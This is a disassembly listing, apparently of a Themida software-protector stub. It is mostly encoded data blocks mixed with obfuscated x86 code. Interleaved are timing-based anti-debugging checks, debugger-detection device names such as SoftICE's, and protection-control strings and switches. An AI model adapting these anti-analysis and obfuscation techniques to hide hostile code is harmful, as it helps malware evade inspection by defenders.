		dd 0BBFB7CAAh, 1D915BE0h, 3A66F163h, 46EE78F4h,	3A66F102h
		dd 0D1B5BD85h, 563A66F1h, 0D584086Ch, 0BB6AF0CFh, 4E178763h
		dd 0BAAB2BBDh, 0D245F246h, 4C43F295h, 0A4F746BAh, 0B5977B95h
		dd 0C09C34ABh, 64A62500h, 63943CAh, 61FA81DDh, 0A21F73FBh
		dd 3F903A66h, 1569DDECh, 8B9C4D31h, 3841ACBEh, 0A20F7BF3h
		dd 0BA803A66h, 6AA0A846h, 0A0B38E9Bh, 50D1B724h, 4A6143DBh
		dd 6964B19Ch, 0F4A95C83h, 0AD112C75h, 0FA4DAE69h, 4F868AA4h
		dd 1697D1FDh, 26196392h, 1EF00508h, 49CF27DDh, 0C2D1B8ECh
		dd 0E3C73B8Fh, 0FE09F470h, 21D5B135h, 605A3A66h, 1E6BE20Ch
		dd 785C61B6h, 0E0DF2594h, 6560A21Ch, 855E6BBCh,	3F2D1068h
		dd 0E052C8CEh, 73D4DC11h, 39113F13h, 125482C8h,	77FF0993h
		dd 3A668313h, 28BCAE94h, 3A66835Ch, 0CC41EFD3h,	0BD6A89B4h
		dd 63925867h, 60A241Bh,	82764157h, 6B901D97h, 5F62BB11h
		dd 0FA0FF87Bh, 0DDEB7BCFh, 0ECF21426h, 2E5AD25Ch, 0A182EB2Ah
		dd 0F8F5AF59h, 28CB0613h, 0BF29719Ch, 0CD7B5F6Ah, 0B61A3740h
		dd 3E82BDC7h, 8509384Fh, 2A4B3FB7h, 0E6DC82EBh,	43370217h
		dd 0EC9E2F01h, 60B76684h, 539DA651h, 0FC7C6D3Fh, 0AC555052h
		dd 18F56E5Bh, 0B328320Fh, 891DE9B4h, 82EB5AFDh,	5FCF0872h
		dd 0E8608E2Bh, 285CD062h, 0BF82EB58h, 8B11AD5Bh, 4ED86AF0h
		dd 0EB58A226h, 33DD2582h, 0E0414EA3h, 0B1BB9FFCh, 7FB8F27h
		dd 804CF8E0h, 0E007186Ch, 0B7ABEFF8h, 0FC80DE99h, 3B71F567h
		dd 0D986EDAAh, 40EEDB2Ch, 0C10BFFC3h, 15B7C79Ah, 7FA9CB72h
		dd 0AB48858Eh, 0A81C297Ah, 66B7F4B8h, 0C7C6DC40h, 0E60ED5DEh
		dd 264675E2h, 3A391D65h, 398DB8CDh, 870B4A50h, 668F1E9Ah
		dd 0D233201Dh, 3A00F4C1h, 32A69285h, 0C8662EFFh, 1153h
		dd 0BB528900h, 0FB45F966h, 80BFC5B4h
		dd 0C82ED83Ch, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 68CF7BCFh, 3F01h, 81241C89h,	4ECh, 243C8900h, 5E08950h
		dd 4, 42Dh, 24048700h, 2434895Ch, 0D9D3968h, 243C8B06h
		dd 4C481h, 0F8680000h, 89000048h, 4812424h, 424h, 7C685E00h
		dd 8900001Ch, 468F243Ch, 24348B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	[esp+3Ch+var_3C]
		pop	edi
		add	esp, 4
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		setalc
		mov	bh, 62h
		cdq


loc_56667F:				; CODE XREF: sub_565CDA:loc_565D92j
		mov	eax, 60DA567h
		add	eax, ebp
		jmp	eax
sub_565CDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		das
		inc	ecx
		xor	[edi], cl
		sal	dword ptr [edi-0B079321h], 1
		sub	eax, [ecx]
		pop	ebp
		jl	short loc_56670A
		dec	eax
		jmp	loc_56670F
; ---------------------------------------------------------------------------
		pusha
		cmp	dword ptr [ebp+60B1995h], 0
		jz	loc_5666B0
		jmp	loc_56670D
; ---------------------------------------------------------------------------


loc_5666B0:				; CODE XREF: Themida_:005666A5j
		push	0
		cmp	byte ptr [esi],	30h
		jnz	loc_5666C3
		push	0
		inc	esi
		jmp	loc_5666F8
; ---------------------------------------------------------------------------


loc_5666C3:				; CODE XREF: Themida_:005666B5j
		cmp	byte ptr [esi],	33h
		jnz	loc_5666D4
		push	10h
		inc	esi
		jmp	loc_5666F8
; ---------------------------------------------------------------------------


loc_5666D4:				; CODE XREF: Themida_:005666C6j
		cmp	byte ptr [esi],	34h
		jnz	loc_5666E5
		push	30h
		inc	esi
		jmp	loc_5666F8
; ---------------------------------------------------------------------------


loc_5666E5:				; CODE XREF: Themida_:005666D7j
		cmp	byte ptr [esi],	35h
		jnz	loc_5666F6
		push	40h
		inc	esi
		jmp	loc_5666F8
; ---------------------------------------------------------------------------


loc_5666F6:				; CODE XREF: Themida_:005666E8j
		push	0


loc_5666F8:				; CODE XREF: Themida_:005666BEj
					; Themida_:005666CFj ...
		lea	eax, [ebp+60B16C5h]
		push	eax
		mov	[esp], eax
		xchg	eax, esi
		push	eax
		xchg	eax, esi
		push	0
; ---------------------------------------------------------------------------
		db 0FFh
		db 95h,	0D9h
; ---------------------------------------------------------------------------


loc_56670A:				; CODE XREF: Themida_:00566695j
		or	ecx, [ebx]
		push	es


loc_56670D:				; CODE XREF: Themida_:005666ABj
		popa
		retn
; ---------------------------------------------------------------------------


loc_56670F:				; CODE XREF: Themida_:00566698j
		mov	byte ptr [ebp+60B2845h], 4Dh
		push	0B2899173h
		xor	dword ptr [esp], 16BCE7DBh
		push	dword ptr [ebp+60B0315h]
		lea	eax, [ebp+60B390Dh]
		call	eax
		mov	[ebp+60B0BD9h],	eax
		jmp	short loc_566756
; ---------------------------------------------------------------------------
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
		dd 5C2E5C5Ch, 4349544Eh
		db 45h,	0
; ---------------------------------------------------------------------------


loc_566756:				; CODE XREF: Themida_:00566736j
		mov	eax, eax
		mov	edi, eax
		cmp	dword ptr [ebp+60B05BDh], 0
		jnz	short loc_56676C
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_566785


loc_56676C:				; CODE XREF: Themida_:00566761j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB31Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_566785:				; CODE XREF: Themida_:0056676Aj
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_5667A5
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB009h]
		call	ebx
		pop	ebx
		pop	eax


loc_5667A5:				; CODE XREF: Themida_:0056678Cj
		push	ebx
		add	esi, [ebp+60B0561h]
		pop	edx
		mov	eax, eax
		pusha
		add	edx, [ebp+60B2061h]
		popa
		mov	byte ptr [ebp+60B2845h], 43h
		mov	edi, [ebp+60B01FDh]
		call	sub_5667CD
		cld
		outsb
; ---------------------------------------------------------------------------
		db 8Eh
		db 0BCh

; =============== S U B	R O U T	I N E =======================================



sub_5667CD	proc near		; CODE XREF: Themida_:005667C4p
		call	sub_5667DA
		and	al, 4Dh
		cld
		pusha
		test	[ebp+16h], edx
		in	eax, dx
sub_5667CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5667DA	proc near		; CODE XREF: sub_5667CDp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056684F SIZE 00000003 BYTES

		mov	esi, 57DDE9D4h
		pop	ecx
		push	eax
		mov	dx, di
		mov	eax, [esp+arg_0]
		push	eax
		push	edx
		mov	edi, 0AC1B280h
		rdtsc
		push	eax
		push	edx
		mov	esi, ecx
		rdtsc
		mov	cl, 4Bh
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		mov	eax, [eax]
		call	near ptr loc_566812+4
		setalc
		rcl	dword ptr [ecx-1979E7CDh], cl
		outsd
		pop	edi
		out	0F0h, eax	; AT 80287 latch clear.
					; 'Busy' gets latched upon an unmasked 287 error.
		outsb
		jo	short loc_56684F


loc_566812:				; CODE XREF: sub_5667DA+25p
		test	eax, 8B5D372Eh
sub_5667DA	endp ; sp-analysis failed

		sti
		pop	esi
		mov	[esp+4], eax
		pop	eax
		or	[ebp+60B2291h],	edx
		push	dword ptr [ebp+60B0B01h]
		movzx	esi, ax
		lea	eax, [ebp+60B390Dh]
		cmc
		call	eax
		mov	di, ax
		nop
		push	eax
		mov	di, bx
		nop
		sub	[ebp+60B280Dh],	eax
		push	0
		push	0
		push	edx
		call	sub_566852
; START	OF FUNCTION CHUNK FOR sub_5667DA


loc_56684F:				; CODE XREF: sub_5667DA+36j
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5667DA

; =============== S U B	R O U T	I N E =======================================



sub_566852	proc near		; CODE XREF: Themida_:0056684Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_566852	endp

; ---------------------------------------------------------------------------
		dw 66A8h
		dd 8D29CB8Bh, 60B169Dh,	4E8h, 8000h, 11E96000h,	4D000000h
		dd 0F215C894h, 0FC57B3C8h, 5F3AF5D2h, 0DB89DCD8h, 52505061h
		dd 310F9BB1h, 585ACE8Bh, 424448Bh, 952BBF66h, 5250008Bh
		dd 13E8h, 5940A500h, 3F5443F4h,	0C378F94Eh, 6220369h, 0D01088FAh
		dd 0F5A8BB1h, 0DCE4BA31h, 585A0724h, 4244489h, 12E9h, 0ADF77800h
		dd 0E484CFA2h, 0AA295026h, 0E6297440h, 58C9C318h, 6800Fh
		dd 8D8B0000h, 60B1B61h,	6A036Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 879237C3h, 0FF9A6890h
		dd 3DBD893Ah, 6A060B00h, 4870F00h, 66000000h, 6AF1C9BFh
		dd 52006A03h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 679CE7BBh, 14697A36h, 830FBF7Ah,	0
; ---------------------------------------------------------------------------
		push	0F8BD9C82h
		mov	di, ax
		xor	dword ptr [esp], 38BD9C82h
		push	0
		push	ebx
		call	sub_56696E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56696E	proc near		; CODE XREF: Themida_:00566966p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_56696E	endp

; ---------------------------------------------------------------------------
		dw 7EDAh
		dd 888B8BFCh, 9D89603Bh, 60B01B9h, 23ED952Bh, 8D61060Bh
		dd 0DA6949Dh, 6693F906h, 6650FE8Bh, 932B82BEh, 0BD89D0FFh
		dd 60B0B45h, 10850F40h,	0E9000003h, 0Bh, 0C8FEB068h, 5303682Fh
		dd 58F489DFh, 7E9h, 58FDCC00h, 6B6AAABBh, 7E890h, 38340000h
		dd 1779C69Dh, 6160538Ah, 60505A5Fh, 0AE9h, 3B7BFE00h, 2C28537Eh
		dd 0F3DFA5Dh, 86h, 0E8906100h, 0Ah, 0BDD9F921h,	7DAA246Ah
		dd 0B5017B44h, 60B1899h, 0F006A5Fh, 38Dh, 0BDD98000h, 562B9C68h
		dd 0E852503Bh, 0Fh, 0FCD598C6h,	9A50A1A8h, 1B635D57h, 666D5F35h
		dd 0F59D38Bh, 7E931h, 66D0000h,	0C3F032F3h, 81585AA1h
		dd 2B1C2434h, 6A3B56h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 926708C3h, 0ACBA8A97h, 6AE7F280h
		dd 57006A03h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0EDFA21Dh, 9563D742h, 14E8006Ah,	0E7000000h
		dd 31BB9530h, 0ED703EAEh, 5C7F438Dh, 6E464F4h, 66D2C4C4h
		dd 0D32C181h, 66036A5Ah, 2A1D781h, 4E8h, 0
		dd 0E95250C0h, 0Dh, 2C997174h, 0FE784EBCh, 0F9464AC0h
		dd 0BA310FC0h, 3C8C7CC4h, 8B50585Ah, 0E9042444h, 10h, 0BD241329h
		dd 0DBCBC587h, 49B6272Bh, 65E858B4h, 4489008Bh,	8B660424h
		dd 8DF958D6h, 0DA69D9Dh, 0DDB50106h, 93060B06h,	8B50EC8Ah
		dd 6A93D6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0D126D7C3h, 75D90191h, 0D18B662Eh, 8166D0FFh
		dd 81C297E1h, 8512C2F6h, 850F4014h, 167h, 2B719589h, 8958060Bh
		dd 0B138595h, 52609006h, 0AE8h,	0DEF8FC00h, 0E7183AD4h
		dd 5A7510D3h, 2830F5Eh,	50000000h, 6650615Bh, 6090CB8Bh
		dd 9D89C38Ah, 60B12C5h,	6A006A61h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 647DC351h
		dd 0B9B596CFh, 378D4F16h, 10E8h, 0A7B5E900h, 48E21701h
		dd 2BE47770h, 0F866975Eh, 0E85EF818h, 4, 80h, 8A505F56h
		dd 24448BD7h, 9E804h, 4E7D0000h, 2583BB8Fh, 6638AAF1h
		dd 5EB64EBAh, 0F60008Bh, 8Ch, 54D0BB00h, 89617F98h, 50042444h
		dd 6E952h, 7FEA0000h, 1C49EE3Dh, 0B966310Fh, 585ADC7Fh
		dd 0F1B52958h, 6A060B2Dh, 9CC98103h, 6A2DB456h,	6870F00h
		dd 2B000000h, 0B270D95h, 89036A06h, 0B0E4585h, 0DB8A6806h
		dd 0BE6698FEh, 3481F8C1h, 0FEDB8A24h, 9D8DF958h, 60DA6A8h
		dd 941BD01h, 8B93060Bh,	0EC8A50D3h, 79BD8B93h, 0FF060B27h
		dd 5840FD0h, 0B9000000h, 58C2CB54h, 40850F40h, 0F000000h
		dd 280h, 58D48A00h, 0E9FB8B66h,	14Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 64C35343h, 0EE9h, 0F618C300h
		dd 9B07B1D3h, 0F7367CFh, 8B02FBD9h, 0D6B70FD8h,	59BD8B4Bh
		dd 58060B2Eh, 0CE9h, 0FD0D300h,	6605AAFCh, 1D80F83Eh, 4585C60Dh
		dd 43060B28h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	0B1C35646h, 80253EDDh, 0AC687FE6h, 53697618h, 5ACA8B66h
		dd 0FB240481h, 8B570031h, 0B07058Dh, 1B5FF06h, 89060B0Bh
		dd 0B3315BDh, 0E1958B06h, 8D060B19h, 0B390D85h,	55858906h
		dd 0FF060B1Ah, 0AD181D0h, 934B34F0h, 0EE8h, 8217A100h
		dd 0AE520D2Dh, 0B4A38119h, 595736BAh, 935E5650h, 31659589h
		dd 0D0FF060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	45C35343h, 0E6D034AAh, 0DA292001h, 12E9h, 86E67F00h
		dd 0A3FDB914h, 0DD92A510h, 0A3311641h, 0B948D24h, 0B116195h
		dd 59D8D06h, 0E9060B73h, 11h, 63BEB273h, 17C4A772h, 3476E12Fh
		dd 6972C5DCh, 1B8DCh, 7E90000h,	0C2000000h, 4E341821h
		dd 0E3FFB6E0h, 22FDBD29h, 0C18B060Bh, 8BF2B70Fh, 0E7F5BAC0h
		dd 0BD8348FAh, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h
		dd 0C08B5350h, 40FB8h, 99858900h, 8D060B12h, 0DB3819Dh
		dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 40FB8h, 99858900h
		dd 8D060B12h, 0DB0229Dh, 5BD3FF06h, 5EB1B958h, 8D8B07EBh
		dd 60B103Dh, 0AAE9C08Bh, 53000000h, 7774666Fh, 5C657261h
		dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
		dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
		dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
		dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
		dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
		dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3	dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	60DAE3Dh
		dd 0AE39858Dh, 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h
		dd 0DAE4995h, 0FF196A06h, 0DAE3DB5h, 6A016A06h,	0D2858D00h
		dd 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh
		dd 95FF060Dh, 60DAE45h,	0AE39B5FFh, 95FF060Dh, 60B2ACDh
		dd 3D8589C3h, 8D060DAEh, 0DAE3985h, 858D5006h, 60DADA3h
		dd 16850h, 95FF8000h, 60DAE49h,	858D046Ah, 60DAE3Dh, 6A046A50h
		dd 0FC858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h
		dd 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh,	95FF060Dh
		dd 60B2ACDh, 3D8589C3h,	8D060DAEh, 0DAE3985h, 858D5006h
		dd 60DADA3h, 16850h, 95FF8000h,	60DAE49h, 858D046Ah, 60DAE3Dh
		dd 6A046A50h, 0E4858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh
		dd 60B2F01h, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh
		dd 95FF060Dh, 60B2ACDh,	3D8589C3h, 8D060DAEh, 0DAE3985h
		dd 858D5006h, 60DADA3h,	16850h,	95FF8000h, 60DAE49h, 858D046Ah
		dd 60DAE3Dh, 6A046A50h,	0F858D00h, 50060DAEh, 0AE39B5FFh
		dd 95FF060Dh, 60B2F01h,	0AE39B5FFh, 95FF060Dh, 60DAE45h
		dd 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 3D8589C3h, 8D060DAEh
		dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h
		dd 858D046Ah, 60DAE3Dh,	6A046A50h, 0BF858D00h, 50060DADh
		dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh,	95FF060Dh
		dd 60DAE45h, 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 65BD83C3h
		dd 60B27h, 0B840Fh, 9D8B0000h, 60B2765h, 894CC383h, 0BD83C303h
		dd 60B2765h, 0B840F00h,	8B000000h, 0B27659Dh, 50C38306h
		dd 83C30389h, 0B2765BDh, 840F0006h, 0Bh, 27659D8Bh, 0C383060Bh
		dd 0C3038954h, 2765BD83h, 0F00060Bh, 0B84h, 659D8B00h
		dd 83060B27h, 38958C3h,	65BD83C3h, 60B27h, 0B840Fh, 9D8B0000h
		dd 60B2765h, 895CC383h,	60C3C303h, 0AE3D8589h, 858D060Dh
		dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh
		dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE34858Dh, 0FF50060Dh
		dd 0DAE39B5h, 195FF06h,	83060B2Fh, 0B05BDBDh, 840F0006h
		dd 0Ch,	0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh
		dd 60B2ACDh, 8960C361h,	0DAE3D85h, 39858D06h, 50060DAEh
		dd 0ADA3858Dh, 6850060Dh, 80000001h, 0AE4995FFh, 46A060Dh
		dd 0AE3D858Dh, 6A50060Dh, 8D006A04h, 0DAE1685h,	0B5FF5006h
		dd 60DAE39h, 2F0195FFh,	0BD83060Bh, 60B05BDh, 0C840F00h
		dd 0FF000000h, 0DAE39B5h, 4595FF06h, 0FF060DAEh, 0DAE39B5h
		dd 0CD95FF06h, 61060B2Ah, 858960C3h, 60DAE3Dh, 0AE39858Dh
		dd 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h, 0DAE4995h
		dd 8D046A06h, 0DAE3D85h, 46A5006h, 858D006Ah, 60DAE1Dh
		dd 39B5FF50h, 0FF060DAEh, 0B2F0195h, 0BDBD8306h, 60B05h
		dd 0C840Fh, 0B5FF0000h,	60DAE39h, 0AE4595FFh, 0B5FF060Dh
		dd 60DAE39h, 2ACD95FFh,	0C361060Bh, 3D858960h, 8D060DAEh
		dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h
		dd 858D046Ah, 60DAE3Dh,	6A046A50h, 25858D00h, 50060DAEh
		dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 5BDBD83h, 0F00060Bh
		dd 0C84h, 39B5FF00h, 0FF060DAEh, 0DAE4595h, 39B5FF06h
		dd 0FF060DAEh, 0B2ACD95h, 60C36106h, 0AE3D8589h, 858D060Dh
		dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh
		dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE2C858Dh, 0FF50060Dh
		dd 0DAE39B5h, 195FF06h,	83060B2Fh, 0B05BDBDh, 840F0006h
		dd 0Ch,	0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh
		dd 60B2ACDh, 0C760C361h, 0DAE3D85h, 106h, 39858D00h, 50060DAEh
		dd 0ADA3858Dh, 6850060Dh, 80000002h, 0AE4995FFh, 0C00B060Dh
		dd 0F840Fh, 85C70000h, 60DAE3Dh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5673B6
; ---------------------------------------------------------------------------
		push	4
		lea	eax, [ebp+60DAE3Dh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+60DADB7h]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2F01h]
		or	eax, eax
		jz	loc_5673A0
		mov	dword ptr [ebp+60DAE3Dh], 0
		jmp	loc_5673AA
; ---------------------------------------------------------------------------


loc_5673A0:				; CODE XREF: Themida_:0056738Bj
		mov	dword ptr [ebp+60DAE3Dh], 1


loc_5673AA:				; CODE XREF: Themida_:0056739Bj
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2ACDh]


loc_5673B6:				; CODE XREF: Themida_:00567364j
		popa
		mov	eax, [ebp+60DAE3Dh]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+60DAE3Dh],	eax
		lea	eax, [ebp+60DAE39h]
		push	eax
		lea	eax, [ebp+60DADA3h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+60DAE49h]
		push	4
		lea	eax, [ebp+60DAE3Dh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+60DADB7h]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2F01h]
		cmp	dword ptr [ebp+60B05BDh], 0
		jz	loc_567417
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60DAE45h]


loc_567417:				; CODE XREF: Themida_:00567405j
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2ACDh]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+60DAE3Dh],	eax
		lea	eax, [ebp+60DAE39h]
		push	eax
		lea	eax, [ebp+60DADA3h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+60DAE49h]
		push	4
		lea	eax, [ebp+60DAE3Dh]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+60DADC9h]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2F01h]
		cmp	dword ptr [ebp+60B05BDh], 0
		jz	loc_56747E
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60DAE45h]


loc_56747E:				; CODE XREF: Themida_:0056746Cj
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2ACDh]
		popa
		retn
; ---------------------------------------------------------------------------
		dd 284585C6h, 6852060Bh, 0ADE47B07h, 194DB5FFh,	95FF060Bh
		dd 60B08A9h, 0AE498589h, 85C6060Dh, 60B2845h, 0E56852h
		dd 0B5FF902Eh, 60B194Dh, 8A995FFh, 8589060Bh, 60DAE45h
		dd 284585C6h, 6852060Bh, 0B9BF1235h, 194DB5FFh,	95FF060Bh
		dd 60B08A9h, 2F018589h,	85C6060Bh, 60B2845h, 10346852h
		dd 0B5FF9878h, 60B194Dh, 8A995FFh, 8589060Bh, 60B2ACDh
		dd 284585C6h, 6852060Bh, 0C005DBD4h, 194DB5FFh,	95FF060Bh
		dd 60B08A9h, 2A618589h,	8E8060Bh, 0E9000000h, 0FE43D60Dh
		dd 0F291F79h, 2485h, 0AE800h, 0A71B0000h, 1DB4997h, 86EF00C3h
		dd 0EE8h, 0E7EC1800h, 57B222F7h, 0A5EE4105h, 5EBA3FA0h
		dd 0D68B5B5Ah, 6A60C381h, 880F0000h, 0
		dd 0FC52C92Bh, 0B3C8B5Eh, 1B850Fh, 12E80000h, 95000000h
		dd 0BA7DD836h, 641FDE45h, 0F4555361h, 0D77AFCBFh, 45E6804Bh
		dd 0BCEF815Ah, 6606FE93h, 7302E281h, 9974F781h,	81F844DEh
		dd 8EE0F5EFh, 0F0B70F18h, 0C6BF0F57h, 0F0B048Fh, 28Bh
		dd 60D68B00h, 61F5C28Bh, 43E8E981h, 0D0814CE6h,	2BB90E1Fh
		dd 43E4C181h, 10E84CE6h, 9F000000h, 99314C08h, 0E877A46Ch
		dd 0AFB9460Ah, 5074D5C0h, 948D81BAh, 81585A0Eh,	0FF9674F9h
		dd 72850FFFh, 66FFFFFFh, 0E9CF92B8h, 99h, 6775622Fh, 63656863h
		dd 2F00326Bh, 63677562h, 6B636568h, 6F662F00h, 72656372h
		dd 2F006E75h, 63677562h, 6B636568h, 6C6C7566h, 68732F00h
		dd 6F63776Fh, 2F006564h, 776F6873h, 65646F63h, 632F0032h
		dd 74726Ch, 7369642Fh, 732F0031h, 69776F68h, 6174736Eh
		dd 65636Eh, 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h
		dd 61747367h, 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0E0BD8300h, 60DB5h, 0A840Fh,	85C70000h, 60B29D1h, 1
		dd 284585C6h, 6847060Bh, 0D4CDA956h, 0DB243481h, 0FF44A0C5h
		dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 8BD0FFD0h,	223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2DDh, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C0E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B560B58Dh, 25E8060Dh
		dd 3000002h, 0DB5F5BDh,	0F5BD8306h, 60DB5h, 0B840Fh, 85C70000h
		dd 60B05BDh, 1,	6BB58DC3h, 0E8060DB5h, 1FCh, 0B5F5BD03h
		dd 0BD83060Dh, 60DB5F5h, 0B840F00h, 0C7000000h,	0B29D185h
		dd 106h, 0B58DC300h, 60DB5E4h, 1D3E8h, 0F5BD0300h, 83060DB5h
		dd 0DB5F5BDh, 840F0006h, 0Bh, 199585C7h, 1060Bh, 8DC30000h
		dd 0DB575B5h, 1AAE806h,	0BD030000h, 60DB5F5h, 0B5F5BD83h
		dd 0F00060Dh, 0B84h, 0D185C700h, 1060B29h, 0C3000000h
		dd 0B57FB58Dh, 81E8060Dh, 3000001h, 0DB5F5BDh, 0F5BD8306h
		dd 60DB5h, 15840Fh, 85C70000h, 60B29D1h, 1, 5BD85C7h, 1060Bh
		dd 8DC30000h, 0DB58DB5h, 14EE806h, 0BD030000h, 60DB5F5h
		dd 0B5F5BD83h, 0F00060Dh, 0A84h, 9985C700h, 1060B02h, 8D000000h
		dd 0DB597B5h, 126E806h,	0BD030000h, 60DB5F5h, 0B5F5BD83h
		dd 0F00060Dh, 0A84h, 9985C700h,	1060B02h, 8D000000h, 0DB5A2B5h
		dd 0FEE806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh
		dd 0A84h, 0A585C700h, 1060B03h,	8D000000h, 0DB5A8B5h, 0D6E806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 5D85C700h, 1060B1Ah,	8D000000h, 0DB5AEB5h, 0AEE806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 3D85C700h, 1060B0Bh,	8D000000h, 0DB5BCB5h, 86E806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 0E585C700h, 1060B27h, 8D000000h, 0DB5C9B5h, 5EE806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 7985C700h, 1060B2Eh,	8D000000h, 0DB5D4B5h, 36E806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 9185C700h, 1060B18h,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh
		dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h
